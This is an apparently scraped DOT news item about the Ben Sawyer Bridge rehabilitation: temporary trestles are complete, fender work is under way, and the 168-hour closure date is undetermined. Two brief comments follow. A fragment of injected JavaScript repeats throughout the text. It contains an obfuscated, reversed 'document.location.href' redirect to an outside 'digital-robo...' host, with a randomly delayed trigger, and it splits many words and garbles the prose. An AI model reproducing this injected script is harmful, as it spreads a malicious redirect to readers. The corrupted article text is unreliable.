Ben Sawyer trestles completed on schedule

Provided by the SC Department of Transportation

While the design/build team for the rehabilitation of the Ben Sawyer Bridge has until May 2010 tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to complete the project, they would like tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to finish even sooner. Completion of project’s four temporary work trestles by June 16 is a step in the right direction.

The eastern trestles will now be used tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to assist crews installing the new bridge fender system. A crane and barge combination will remove the existing pilings and install the new system under the bridge. The Intracoastal Waterway (ICW) Channel will not be closed during this effort, but the width of the channel will be reduced. Vessels which need the full ICW channel are asked tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to provide the bridge operatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor with two hours notice for passage.

From the western (harbor side) trestles, crews continue placing pilings between the trestles and the existing bridge. The replacement bridge approaches will be built upon these temporary pilings. During the seven day (168 hour) road closure, the existing bridge will move ontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the eastern trestles and the replacement approaches will be shifted from these temporary pilings ontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the bridge’s existing foundation.

Contrary tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the June 8, 2009, Post and Courier stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory, the actual dates and start time of the seven day (168 hour) bridge closure have not been determined. Many more construction milestobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tones must be reached before even a narrow window of dates can be known. While the contractobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor would like tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be ready for the closure activities as early as possible, the scheduling of the closure could contractually occur any time between Octobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tober 1, 2009, and April 1, 2010, except for ten days before and after Christmas. A tight range of dates during which the closure could occur will be released at least thirty days prior tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the closure. As soon as it is confirmed, this closure range will be distributed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the public through www.bensawyerbridge.com and the local media. However, the actual start of the 168 hour time clock for the closure will not be known until the last minute when the rehabilitated bridge is ready tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be put in place and weather conditions are the most favorable.
For more information and photobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to updates, please visit www.bensawyerbridge.com.

2 comments

  1. Yes, I am looking forward for this project to finish……….

  2. I really loved the way things are portrayed in this blog. Very recommendable job.

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